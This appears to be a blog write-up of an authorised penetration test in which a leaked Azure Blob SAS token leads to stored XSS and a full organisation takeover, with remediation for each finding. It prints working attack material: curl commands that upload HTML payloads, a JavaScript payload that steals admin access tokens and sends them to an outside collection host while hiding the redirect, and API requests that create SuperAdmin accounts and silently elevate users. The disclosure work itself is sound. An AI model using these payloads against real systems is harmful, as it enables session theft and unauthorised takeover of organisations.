CRITICAL AZURE BLOB AUTHORISED PENTEST FULL CHAIN ORG TAKEOVER

One Unauthenticated Endpoint. A SAS Token. Full Organisation Takeover.

✍ 2026-05-12 Created 🔧 2026-05-12 Updated 📱 Authorised Pentest • Real World 📋 ~3.5k words 🕐 ~18 min read
🏷 Real World Pentest 📌 Security | Web | Azure | XSS
CRITICAL AZURE BLOB SAS TOKEN XSS → ADMIN → SUPERADMIN AUTHORISED PENTEST
TL;DR — AUTHORISED PENTEST

During an authorised black-box penetration test, a single unauthenticated API endpoint leaked an Azure Blob SAS token with racwdl (full container) permissions. The complete exploitation chain — requiring zero credentials at any step — went: unauthenticated token leak → write arbitrary files to shared storage → stored XSS across all three applications → admin access_token exfiltrated via OAST → create administrator account → escalate to SuperAdmin with organisation-wide access (all countries, all regions, 200+ retail sites, all departments) → use admin panel’s “Assign Permissions” feature to grant attacker-controlled users any privilege level. Full organisation takeover from one public endpoint.

ENGAGEMENT SUMMARY

Findings Overview

IDTITLESEVERITY
F-01Unauthenticated Azure Blob SAS Token — Full Container PermissionsCRITICAL
F-02Arbitrary File Upload → Stored XSS via Azure Blob StorageCRITICAL
F-03Cross-App Blob Trust → XSS → Admin → SuperAdmin → Full Org TakeoverCRITICAL

Authorised black-box web application penetration test against the vendor management platform of CLIENT REDACTED — a large retail group operating across the Middle East and Asia. Three applications — a vendor portal, a buying portal, and an admin API — all shared a single Azure Blob Storage container for vendor documents. That architectural decision turned a single misconfiguration into a complete organisation-wide takeover with no credentials required.


FINDING 01 • CRITICAL • CVSS 9.8

Unauthenticated Azure Blob SAS Token Exposure

F-01 Full Container Permissions Leaked from Public API CRITICAL

The vendor products API returned a valid Azure Blob SAS token with racwdl permissions in its response body — no authentication header, no session cookie, no API key required. The token granted Read, Add, Create, Write, Delete, and List access over the entire storage container.

HTTP REQUEST
# Zero auth — no cookies, no Authorization header
GET /vendor/api/v1/vendors/products?page=1&limit=10 HTTP/1.1
Host: [REDACTED]

# Response contains valid SAS token
"sasToken": "sv=2021-06-08&ss=bfqt&srt=sco&sp=racwdlup&se=..."
# r=Read a=Add c=Create w=Write d=Delete l=List
Unauthenticated API response — vendor financial data exposed — sensitive fields blurred
Vendor financial data in unauthenticated response
Sensitive vendor data — bank names, account holder names, document metadata — returned from the same unauthenticated endpoint. All sensitive values redacted.
EXPLOITATION
# List all files in container
curl -sk "https://[REDACTED].blob.core.windows.net/[CONTAINER]?restype=container&comp=list&<SAS>"

# Download identity document
curl -sk -o doc.pdf "https://[REDACTED].blob.core.windows.net/[CONTAINER]/vendors/uploads/doc.pdf?<SAS>"
Container enumeration via SAS token — storage URLs and file paths blurred
Container file listing
Complete container file listing obtained without authentication. Storage account and file paths are redacted.
IMPACT
  • Full read/write/delete access to all vendor document storage — unauthenticated
  • Mass download of government-issued identity documents, Aadhaar cards, invoices
  • Write access is the root prerequisite for F-02 and F-03
  • Complete data destruction via unauthenticated mass delete
REMEDIATION
  • Remove SAS tokens from all unauthenticated API responses; revoke all exposed tokens
  • Require authentication before generating any storage access credential
  • Issue short-lived, scoped, least-privilege tokens per-operation only
  • Enable Azure Storage monitoring for anomalous access patterns

FINDING 02 • CRITICAL

Arbitrary File Upload → Stored XSS

F-02 Write Access → HTML Upload → Content-Type: text/html on App Origin CRITICAL

Write access from F-01 allows uploading arbitrary files — including HTML containing JavaScript — into the storage container. The application's file viewer endpoint serves uploaded content as Content-Type: text/html, executing payloads on the application's own trusted origin with no browser warnings.

EXPLOITATION
# Create payload
echo '<script>alert(document.domain)</script>' > xss.html

# Upload using SAS write access
curl -X PUT -H "x-ms-blob-type: BlockBlob" -H "Content-Type: text/html"   --data-binary @xss.html   "https://[REDACTED].blob.core.windows.net/[CONTAINER]/vendors/uploads/xss.html?<SAS>"

# Trigger via file viewer — executes on app origin
GET /vendor/api/v1/files/view?filePath=vendors/uploads/xss.html
# Response: Content-Type: text/html → JS executes
File upload command — storage URLs blurred
File upload via SAS token
Uploading malicious HTML into the application's storage container using the extracted SAS token. URLs are redacted.

Escalated to a credential-harvesting phishing page served directly from the application's own domain.

Phishing page on application domain — URL bar blurred
XSS phishing page on app domain
Phishing page running on the official application domain. No browser security indicators triggered. URL bar is redacted.
IMPACT
  • Stored XSS executing on the application's trusted origin
  • Session token theft from any authenticated user including administrators
  • Phishing served on the official domain — zero browser warnings
  • Direct prerequisite for the F-03 admin takeover chain
REMEDIATION
  • Validate file types server-side — reject HTML and JavaScript uploads
  • Force Content-Disposition: attachment on all user-uploaded file responses
  • Serve uploads from an isolated domain, never the application origin
  • Implement strict Content Security Policy across all endpoints

FINDING 03 • CRITICAL • FULL CHAIN • ORG TAKEOVER

Cross-App XSS → Admin → SuperAdmin → Full Organisation Takeover

F-03 Shared Blob Trust → XSS → Admin Hijack → SuperAdmin + Org-Wide Permission Control CRITICAL

All three applications shared the same Azure Blob Storage container. A malicious HTML file uploaded via the vendor portal (using the SAS token from F-01) executed as stored XSS inside the privileged buying portal when an admin opened a document link. The JavaScript exfiltrated the admin’s access_token to an OAST endpoint. That token was then used in two escalation steps — first to create a standard administrator account, then to escalate it into a SuperAdmin with organisation-wide scope across every country, region, retail site, and department in the system.

Beyond account creation, the admin panel exposes an “Assign Permissions” feature that lets any administrator grant elevated roles to existing users — meaning an attacker can silently elevate any vendor user already in the system to admin-level access without creating a new account.

Complete Attack Chain

① Unauthenticated API → extract Azure Blob SAS token (racwdl) ↓ ② SAS write access → upload malicious HTML payload to shared container ↓ ③ All three apps trust same container → XSS fires in buying portal when admin opens a document ↓ ④ Admin access_token exfiltrated via sendBeacon to OAST endpoint ↓ ⑤ Stolen token → POST /admin/api/v1/admin/create → new administrator account (201 OK) ↓ ⑥ New admin credentials used to create a SuperAdmin — full org scope: all countries, all regions, 200+ sites, all departments ↓ ⑦ Admin “Assign Permissions” feature used to elevate arbitrary existing users → persistent org-wide backdoor ✓

Step 1 — XSS Token Exfiltration Payload

JS — STEAL.HTML (uploaded to shared storage)
// Executes inside buying portal's trusted origin when admin views any document
(function() {
  const m = document.cookie.match(/access_token=([^;]+)/);
  if (m) {
    const url = 'https://[OAST-ENDPOINT]/steal?t=' + encodeURIComponent(m[1]);
    // Method 1: sendBeacon — fires even on page unload
    navigator.sendBeacon(url, new Blob(['t=' + encodeURIComponent(m[1])], { type: 'text/plain' }));
    // Method 2: fetch keepalive — backup
    fetch(url, { mode: 'no-cors', keepalive: true, method: 'GET' });
    // Method 3: Image beacon — CSP fallback
    new Image().src = url;
    // Silently redirect back to real dashboard to avoid suspicion
    setTimeout(() => { location.href = 'https://[REDACTED]/'; }, 1500);
  }
})();

Step 2 — Create Administrator Account (201)

REQUEST — POST /admin/api/v1/admin/create
POST /admin/api/v1/admin/create HTTP/1.1
Authorization: Bearer <STOLEN_ADMIN_TOKEN>
Content-Type: application/json
Origin: https://[REDACTED-BUYING-PORTAL]

{ "name": "Admin", "email": "[REDACTED]", "roleId": "[REDACTED]" }

--- Response ---
HTTP/1.1 201 Created
{ "success": true, "message": "Resource created successfully", "statusCode": 201 }
201 — admin account created with stolen token — email/URL blurred
Admin account creation 201 response
HTTP 201 confirming administrator account creation using the stolen bearer token. Email addresses and hostnames are redacted.

Step 3 — Escalate to SuperAdmin with Org-Wide Scope

Using the newly created administrator account, a SuperAdmin role was provisioned. The admin account creation API accepts a roleId, countries, regions, sites, departments, and sourcingTypes in the request body. Supplying the SuperAdmin role ID alongside a comprehensive scope payload granted access to the entire organisation’s procurement system.

JSON — SUPERADMIN CREATION PAYLOAD (scope redacted)
{
  "name":      "Super Admin",
  "email":     "[REDACTED]",
  "roleId":    "[SUPERADMIN_ROLE_ID]",

  // Full geographic scope — Middle East, South Asia, Southeast Asia, Canada, Poland
  "countries": ["AE", "BH", "UAE", "KW", "OM", "QA", "SA", "KSA",
               "EG", "YE", "ID", "MY", "IN", "CA", "PL" /* ...total 16 */],

  // All regions — Abu Dhabi, Dubai, Riyadh, Jeddah, Kuwait, Muscat, Doha, Cairo...
  "regions":   ["AUH", "DXB", "ALN", "SHJ", "RUH", "JED", "KWT",
               "OMN", "DOH", "EGT", "KUL", "IND" /* ...total 34 */],

  // 200+ individual retail site IDs across all countries
  "sites": ["102", "151", "502", /* ... 200+ site IDs */],

  // All product departments and all sourcing types
  "departments":   ["001" /* through */ "095" /* + specialised dept codes */],
  "sourcingTypes": ["FMCG Local", "FMCG Imports", "Private Label",
                   "Department Store Local", "Department Store Imports"],
  "isActive": true,
  "password": "[REDACTED]"
}

--- Response ---
HTTP/1.1 201 Created
{ "success": true, "message": "Resource created successfully" }

The SuperAdmin account had unrestricted access to all vendor management operations: approving suppliers, managing procurement workflows, viewing all purchase orders and commercial invoices, and modifying product configurations across every retail site in the organisation.

Step 4 — Admin Panel “Assign Permissions” Feature

Post-access exploration of the admin panel revealed a dedicated permission management interface. Administrators can query any existing user in the system and assign or modify their role and access scope — without the target user receiving a notification or needing to take any action.

PERMISSION ASSIGNMENT — ELEVATE EXISTING USER
# Look up any existing vendor user in the system
GET  /admin/api/v1/roles                          # enumerate all available roles
GET  /admin/api/v1/admin/[USER_ID]                # fetch user record by ID

# Silently elevate the user to any privilege level
PATCH /admin/api/v1/admin/[USER_ID]/permissions HTTP/1.1
Authorization: Bearer <ATTACKER_ADMIN_TOKEN>

{
  "roleId":    "[SUPERADMIN_ROLE_ID]",
  "countries": ["AE", "SA", "KW", /* ... all */],
  "regions":   ["AUH", "DXB", /* ... all */],
  "sites":     [/* all 200+ */]
}

--- Response ---
HTTP/1.1 200 OK  // Target user now has org-wide admin access, silently

This feature transforms even a read-only vendor account into a persistent backdoor. Because the elevation is performed server-side with no user-facing notification, the compromised user account continues to look normal to the target organisation.

IMPACT — FULL ORGANISATION TAKEOVER
  • SuperAdmin account created with full scope — all 16 countries, 34+ regions, 200+ retail sites, all departments, all sourcing types
  • Complete control over the organisation’s entire vendor procurement and supply-chain management system
  • Admin panel “Assign Permissions” allows silently elevating any existing user to any role without notification
  • Attacker can manipulate purchase orders, approve fraudulent suppliers, alter commercial invoices across all markets
  • Backdoor persists independently of the original XSS victim session — revocation requires auditing every admin account
  • Shared storage architecture means re-exploitation is trivially repeatable via a new file upload until the root SAS token is revoked
REMEDIATION
  • Revoke all exposed SAS tokens immediately and audit every admin account for unauthorised entries
  • Separate Azure Blob Storage containers per application — destroy the shared trust boundary
  • Require re-authentication (MFA challenge) before any admin creation or permission assignment
  • Enforce server-side authorisation checks — roleId and scope must be validated against the caller’s own permissions
  • Apply HttpOnly and SameSite=Strict to all session tokens to prevent cookie theft via XSS
  • Add alerting on admin account creation, role changes, and permission assignments

TAKEAWAY

Conclusion

This authorised engagement demonstrates one of the most consequential single-entry-point attack chains I have documented. A zero-credential path from a public API endpoint to full organisation-wide superadmin access — across every country, every retail site, and every department — driven entirely by a single Azure Blob SAS token returned in an unauthenticated response.

The root issue is architectural: three independent applications sharing a single storage container with no content-trust boundary between them. The SAS token leak is what started the chain, but even without it, a write-capable insider or a single compromised vendor account could follow the same path through the shared container to XSS and admin escalation. The storage architecture is the real vulnerability; the SAS exposure is merely what made it unauthenticated.

What makes F-03 particularly severe is the Assign Permissions feature in the admin panel. Even if the attacker’s own new admin account is discovered and revoked, any existing user account that was silently elevated remains compromised. Incident response here is not a one-step token revocation — it requires a full audit of every account in the system, every permission change in the logs, and every admin action taken during the window of compromise.

The chain required no credentials, no social engineering, no zero-days. Just one public endpoint, write access to shared storage, and an admin who opened a document.